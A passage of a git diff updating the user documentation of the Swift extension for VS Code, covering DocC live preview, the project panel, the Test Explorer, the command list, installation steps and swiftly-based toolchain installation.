Path to the executable to launch. +| target | string | Name of the target to launch. Only available in SwiftPM projects. +| configuration | string | Configuration used to build the target (debug or release). Only available in SwiftPM projects. | args | [string] | An array of command line argument strings to be passed to the program being launched. | cwd | string | The program working directory. | env | dictionary | Environment variables to set when launching the program. The format of each environment variable string is "VAR=VALUE" for environment variables with values or just "VAR" for environment variables with no values. diff --git a/userdocs/userdocs.docc/Articles/Features/docc-live-preview.md b/userdocs/userdocs.docc/Articles/Features/docc-live-preview.md index 98165900d..1c3eae3bb 100644 --- a/userdocs/userdocs.docc/Articles/Features/docc-live-preview.md +++ b/userdocs/userdocs.docc/Articles/Features/docc-live-preview.md @@ -10,8 +10,9 @@ Show a live preview of your Swift documentation while editing. The Swift toolchain provides DocC, which compiles documentation for your Swift package. You can distribute compiled documentation to developers, or host the content. It's what this project used to make its documentation! You can learn more about DocC by reading [the documentation on the Swift organization's website](https://www.swift.org/documentation/docc/). View a side-by-side live preview of your documentation as you edit it with the Swift extension for VS Code. -Access this feature using the Preview Swift Documentation button at the top right of an editor, or be invoking `Swift: Preview Documentation` in the command palette. - This opens up a new editor pane with your rendered documentation: +Access this feature using the Preview Swift Documentation button at the top right of an editor, or by invoking `Swift: Preview Documentation` in the command palette. + +This opens up a new editor pane with your rendered documentation: ![An animation showing how to launch documentation live preview.](docc-live-preview.gif) diff --git a/userdocs/userdocs.docc/Articles/Features/project-view.md b/userdocs/userdocs.docc/Articles/Features/project-view.md index 39d0a01c8..7d29df3b7 100644 --- a/userdocs/userdocs.docc/Articles/Features/project-view.md +++ b/userdocs/userdocs.docc/Articles/Features/project-view.md @@ -1,9 +1,9 @@ # Swift Project View -Use this view to navigate your Swift project. +Use this view to get a high level view of your Swift project. If your workspace contains a package, this extension will add a **Swift Project** view to the Explorer: -![A snapshot of the Package Dependencies view showing dependencies for the async-http-client Swift project.](package-dependencies.png) +![A snapshot of the Package Dependencies view showing dependencies for the async-http-client Swift project.](project-panel.png) -Additionally, the extension will monitor `Package.swift` and `Package.resolved` for changes, resolve any changes to the dependencies, and update the view as needed. +Use the project panel to view all targets, tasks, dependencies and commands of your Swift project. \ No newline at end of file diff --git a/userdocs/userdocs.docc/Articles/Features/test-explorer.md b/userdocs/userdocs.docc/Articles/Features/test-explorer.md index d84e4bb50..2f37c1ac2 100644 --- a/userdocs/userdocs.docc/Articles/Features/test-explorer.md +++ b/userdocs/userdocs.docc/Articles/Features/test-explorer.md @@ -1,14 +1,13 @@ # Running and Debugging Tests -View test results in the test explorer. +View test results in the Test Explorer. -All VS Code extensions provide a [testing capabilities and views(https://code.visualstudio.com/docs/debugtest/testing). -View, run, and debug tests that your package containers in the Test Explorer. +View, run, and debug tests that your package containers in the VS Code [Test Explorer](https://code.visualstudio.com/docs/debugtest/testing). ![A screenshot of the test explorer pane in Visual Studio Code that shows a selection of 5 tests run and passed.](test-explorer.png) -Once your project is built, the Test Explorer will list all your tests. These tests are grouped by package, then test target, and finally, by XCTestCase class. From the Test Explorer, you can initiate a test run, debug a test run, and if you have already opened a file, you can quickly jump to the source code for a test. +The Test Explorer will list all your [Swift Testing](https://developer.apple.com/xcode/swift-testing/) and [XCTest](https://developer.apple.com/documentation/xctest) tests. These tests are grouped by package, then test target, and finally, by XCTestCase class. From the Test Explorer, you can initiate a test run, debug a test run, and if you have already opened a file, you can quickly jump to the source code for a test. ## Run Tests with Coverage diff --git a/userdocs/userdocs.docc/Articles/Reference/commands.md b/userdocs/userdocs.docc/Articles/Reference/commands.md index 7dc9c0d53..19a857a52 100644 --- a/userdocs/userdocs.docc/Articles/Reference/commands.md +++ b/userdocs/userdocs.docc/Articles/Reference/commands.md @@ -10,6 +10,8 @@ The Swift extension adds the following commands, each prefixed with `"Swift: "` - **`Create New Project...`** - Create a new Swift project using a template. This opens a dialog to guide you through creating a new project structure. - **`Create New Swift File...`** - Create a new `.swift` file in the current workspace. - **`Select Toolchain...`** - Select the locally installed Swift toolchain (including Xcode toolchains on macOS) that you want to use Swift tools from. +- **`Install Swiftly Toolchain...`** - Install a Swift toolchain using Swiftly. Shows a list of available stable Swift releases that can be downloaded and installed. Requires Swiftly to be installed first. +- **`Install Swiftly Snapshot Toolchain...`** - Install a Swift snapshot toolchain using Swiftly. Shows a list of available development snapshots that can be downloaded and installed. Requires Swiftly to be installed first. - **`Generate SourceKit-LSP Configuration`** - Generate the `.sourcekit-lsp/config.json` file for the selected project(s). The generated configuration file will be pre-populated with the JSON schema for the version of the Swift toolchain that is being used. Use the `swift.sourcekit-lsp.configurationBranch` setting to pin the SourceKit-LSP branch that the schema comes from. The following command is only available on macOS: @@ -58,4 +60,4 @@ The following command is only available on macOS: - **`Restart LSP Server`** - Restart the Swift Language Server Protocol (LSP) server for the current workspace. - **`Re-Index Project`** - Force a re-index of the project to refresh code completion and symbol navigation support. -> 💡 Tip: Commands can be accessed from the VS Code command palette which is common to all VS Code extensions. See the [VS Code documentation about the command palette](https://code.visualstudio.com/docs/getstarted/userinterface#_command-palette) for a more in-depth overview. \ No newline at end of file +> 💡 Tip: Commands can be accessed from the VS Code command palette which is common to all VS Code extensions. See the [VS Code documentation about the command palette](https://code.visualstudio.com/docs/getstarted/userinterface#_command-palette) for a more in-depth overview. diff --git a/userdocs/userdocs.docc/Articles/Topics/installation.md b/userdocs/userdocs.docc/Articles/Topics/installation.md index 9b326e85f..3687ab032 100644 --- a/userdocs/userdocs.docc/Articles/Topics/installation.md +++ b/userdocs/userdocs.docc/Articles/Topics/installation.md @@ -2,6 +2,11 @@ Install the Swift extension via the VS Code Marketplace. -The Swift extension is supported on macOS, Linux, and Windows. +The Swift extension is supported on macOS, Linux, and Windows. To set it up: +1. Install Swift from the [Swift.org website](https://www.swift.org/install). +2. Install [Visual Studio Code](https://code.visualstudio.com/Download). +3. Install the Swift extension from the [VS Code Marketplace](https://marketplace.visualstudio.com/items?itemName=swiftlang.swift-vscode). -To install, firstly ensure you have [Swift installed on your system](https://www.swift.org/install/). Then [install the Swift extension](https://marketplace.visualstudio.com/items?itemName=swiftlang.swift-vscode). Once your machine is ready, you can get started with the **Swift: Create New Project...** command. +Once your machine is ready, you can start writing Swift code: + * Use the **`Swift: Create New Project...`** command from the command palette to initialize a new project. + * Navigate to **`File > Open Folder`** in the menu bar to open an existing project on your machine. diff --git a/userdocs/userdocs.docc/Articles/Topics/supported-toolchains.md b/userdocs/userdocs.docc/Articles/Topics/supported-toolchains.md index 74e2b218c..7b28cfeda 100644 --- a/userdocs/userdocs.docc/Articles/Topics/supported-toolchains.md +++ b/userdocs/userdocs.docc/Articles/Topics/supported-toolchains.md @@ -18,14 +18,39 @@ Feature | Minimum Toolchain Required Debugging with `lldb-dap` | 6.0 | 6.2 +## Toolchain Management + +The Swift extension automatically detects installations of the Swift toolchain in your environment. It looks for a `swift` binary available in `PATH` and, if one cannot be found, prompts you to [install a toolchain from Swift.org](https://www.swift.org/install). + +If you have multiple Swift toolchains installed on your system, use the command `Swift: Select Toolchain...` to tell the extension which toolchain to use. The command shows you a list of all the toolchains that VS Code found on your system and lets you switch between them. + +@Video( + source: "toolchain-selection.mp4", + alt: "A video showing a VS Code window. The command palette is opened to run the 'Swift: Select Toolchain...' command which is then used to select Xcode as the preferred toolchain.", + poster: "toolchain-selection.png" +) + ## Swiftly Support -The extension supports toolchains managed by [swiftly](https://github.com/swiftlang/swiftly), the Swift toolchain installer and manager. For instructions on installing swiftly see the [installation instructions on Swift.org](https://www.swift.org/install). +The extension supports toolchains managed by [swiftly](https://github.com/swiftlang/swiftly), the Swift toolchain installer and manager. This is the recommended way of installing Swift toolchains on macOS and Linux. For instructions on installing swiftly see the [installation instructions on Swift.org](https://www.swift.org/install). There is also a [getting started guide for swiftly on Swift.org](https://www.swift.org/swiftly/documentation/swiftly/getting-started/). -You can choose a swiftly managed toolchain to use from the `> Swift: Select Toolchain` menu. +Choose a swiftly managed toolchain to use from the `> Swift: Select Toolchain...` menu. If you do `swiftly use` on the command line you must restart VS Code or do `> Developer: Reload Window` in order for the VS Code Swift extension to start using the new toolchain. +### Installing Toolchains + +The Swift extension can use swiftly to install toolchains on your behalf. This allows you to discover, install, and configure Swift toolchains directly from the VS Code interface without needing to use the command line. + +Before using the toolchain installation feature, ensure you meet the following requirements: + +* **Swiftly 1.1.0 or newer** - The installation feature requires swiftly version 1.1.0 or newer. Run **`swiftly self-update`** in your terminal to get the latest version of swiftly. +* **Administrator Privileges** - On Linux systems, `sudo` may be required to install system dependencies for the toolchain after installation. + +You can access the installation commands via the `Swift: Select Toolchain...` command, or by running the following commands directly: +- **`Swift: Install Swiftly Toolchain...`** - installs stable Swift toolchains via swiftly +- **`Swift: Install Swiftly Snapshot Toolchain...`** - installs snapshot Swift toolchains via swiftly + ### .swift-version Support Swiftly can use a special `.swift-version` file in the root of your package so that you can share your toolchain preference with the rest of your team. The VS Code Swift extension respects this file if it exists and will use the toolchain specified within it to build and test your package. diff --git a/userdocs/userdocs.docc/Resources/package-dependencies.png b/userdocs/userdocs.docc/Resources/package-dependencies.png deleted file mode 100644 index fca8164bf..000000000 Binary files a/userdocs/userdocs.docc/Resources/package-dependencies.png and /dev/null differ diff --git a/userdocs/userdocs.docc/Resources/project-panel.png b/userdocs/userdocs.docc/Resources/project-panel.png new file mode 100644 index 000000000..4bc015a68 Binary files /dev/null and b/userdocs/userdocs.docc/Resources/project-panel.png differ diff --git a/userdocs/userdocs.docc/Resources/toolchain-selection.mp4 b/userdocs/userdocs.docc/Resources/toolchain-selection.mp4 new file mode 100644 index 000000000..080c9f904 Binary files /dev/null and b/userdocs/userdocs.docc/Resources/toolchain-selection.mp4 differ diff --git a/userdocs/userdocs.docc/Resources/toolchain-selection.png b/userdocs/userdocs.docc/Resources/toolchain-selection.png new file mode 100644 index 000000000..65e7ef13d Binary files /dev/null and b/userdocs/userdocs.docc/Resources/toolchain-selection.png differ